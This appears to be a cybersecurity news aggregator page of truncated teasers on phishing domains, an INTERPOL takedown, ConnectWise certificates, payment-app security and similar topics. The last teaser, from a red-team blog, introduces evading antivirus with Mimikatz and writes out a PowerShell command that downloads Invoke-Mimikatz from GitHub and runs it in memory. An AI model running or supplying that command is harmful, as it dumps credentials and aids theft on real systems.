Author: HackWatchit

Over 39,000 new vacation-related domains registered in May 2025, with 1 in 21 flagged as malicious or suspicious—cyber criminals target travel enthusiasts and property owners through phishing scams mimicking popular platforms like Airbnb and Booking.com. As summer travel season kicks into high gear, cybercriminals are following the crowds online. Check Point Research (CPR) has uncovered a sharp spike in cyber threats tied to the hospitality and travel sector, with a 55% increase in newly created domains related to holidays and vacations in May 2025 compared to the same period last year. Of over 39,000 domains registered, one in every 21…

Xona and Forescout have announced a partnership to deliver secure remote access and enhanced cybersecurity for operational technology (OT) environments across critical infrastructure operators. By integrating Xona’s secure remote access platform with Forescout’s 4D Platform, the collaboration enables industrial organizations to maintain connectivity while minimizing the exposure of critical assets to cyber risk.  Purpose-built to support electric, oil and gas, water, transportation and logistics, and healthcare organizations to drive operational resilience, the move will give industrial and critical infrastructure operators secure, policy-enforced access to operational systems, backed by continuous network visibility and automated enforcement. As threats to industrial control systems…

Operation Secure: INTERPOL dismantles 20,000+ malicious IPs in major cybercrime crackdown Pierluigi Paganini June 11, 2025 INTERPOL announced that a joint operation code-named Operation Secure took down 20,000+ malicious IPs/domains tied to 69 info-stealers. Between January and April 2025, INTERPOL led Operation Secure, a global effort that took down over 20,000 malicious IPs and domains linked to information-stealing malware. With support from 26 countries and partners like Group-IB, Kaspersky, and Trend Micro, investigators traced servers, mapped networks, and carried out targeted actions. Participating countries are Brunei, Cambodia, Fiji, Hong Kong (China), India, Indonesia, Japan, Kazakhstan, Kiribati, Korea (Rep of), Laos, Macau…

Connectwise customers who use the company’s ScreenConnect, Automate, and ConnectWise RMM solutions are urged to update all agents and/or validate that the update has been deployed by Friday, June 13 at 8:00 p.m. ET, or risk disruptions. The reason for the warning is the imminent revocation of digital certificates that have been used to sign previous Connectwise software builds, “due to concerns raised by a third-party researcher about how ScreenConnect could potentially be misused by a bad actor.” Connectwise has recently admitted that a nation state actor has compromised ScreenConnect cloud instances of some ConnectWise customers, but says that this…

PayPal vs Venmo: Which is more secure? Choosing an online payment service isn’t just about convenience. Whether you’re paying for online shopping or accepting payments from clients, you should know whether PayPal or Venmo is more secure. People often ask us: Is PayPal safe? (And is Venmo safe?) In this guide, we’ve answered these critical payment app security questions. Our PayPal vs. Venmo security comparison examines key payment app security features, including digital wallet encryption, peer-to-peer payment security, buyer and seller protection, two-factor authentication, and support for phishing-resistant login methods, such as PayPal Passkeys. We’ll also briefly touch on Zelle security and…

In brief Bitcoin miners were struggling earlier this year, as the price of the leading digital coin took a hit. But BTC is recently surging, hitting a new all-time high mark in May and remaining close to that level. Miners are minting more coins, with Nasdaq-listed Bitdeer producing 18% more in May than the month before. Bitcoin miner Bitdeer in May minted 196 BTC, an increase of over 18% from April—the latest monthly gain registered by a publicly traded miner as the industry slowly recovers from headwinds caused by a dip in the leading cryptocurrency’s price and rising difficulty. Nasdaq-listed Bitdeer…

As organizations race to implement AI solutions, security leaders face the challenge of enabling progress while protecting sensitive data. Grand Canyon Education (GCE), which serves 22 university partners, recently confronted this exact dilemma when deploying an AI chatbot platform for thousands of students and staff. We spoke with Sourabh Satish, a cybersecurity veteran with over 25 years of experience and more than 260 issued patents, about the lessons learned from this implementation and how similar approaches can benefit organizations across sectors. Drawing from GCE’s experience and his extensive background in security architecture, Sourabh shares a framework for securing AI without stifling growth. What…

Skybox non c’è più, ma le scadenze di conformità, gli obblighi di revisione e i rischi per la sicurezza sono ben presenti. Ecco perché le organizzazioni dell’area EMEA devono agire ora e FireMon aiuta a rendere il passaggio veloce, sicuro e pronto per il futuro. Quando Skybox ha cessato le operazioni, non ha solo concluso il ciclo di vita di un prodotto, ma ha lasciato centinaia di organizzazioni in tutta l’area EMEA a metà del loro percorso. Gli strumenti di gestione dei criteri di sicurezza non sono solo “belli da avere”, Sono fondamentali per la conformità, la visibilità e il…

Carrie Roberts // * Would you like to run Mimikatz without Anti-Virus (AV) detecting it? Recently I attempted running the PowerShell script “Invoke-Mimikatz” from PowerSploit on my machine but it was flagged by Windows Defender as malicious when saving the file to disk. Even when I ran this file without writing it to disk using the following command it still got caught. powershell “IEX (New-Object Net.WebClient).DownloadString (‘https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1’);Invoke-Mimikatz” Windows Defender Detects Unmodified Mimikatz Script Uploading the Invoke-Mimikatz.ps1 file to VirusTotal showed that 19 of 54 AV vendors currently detect this file as malicious. AV Detection Rate for Unmodified Mimikatz Script While uploading to VirusTotal…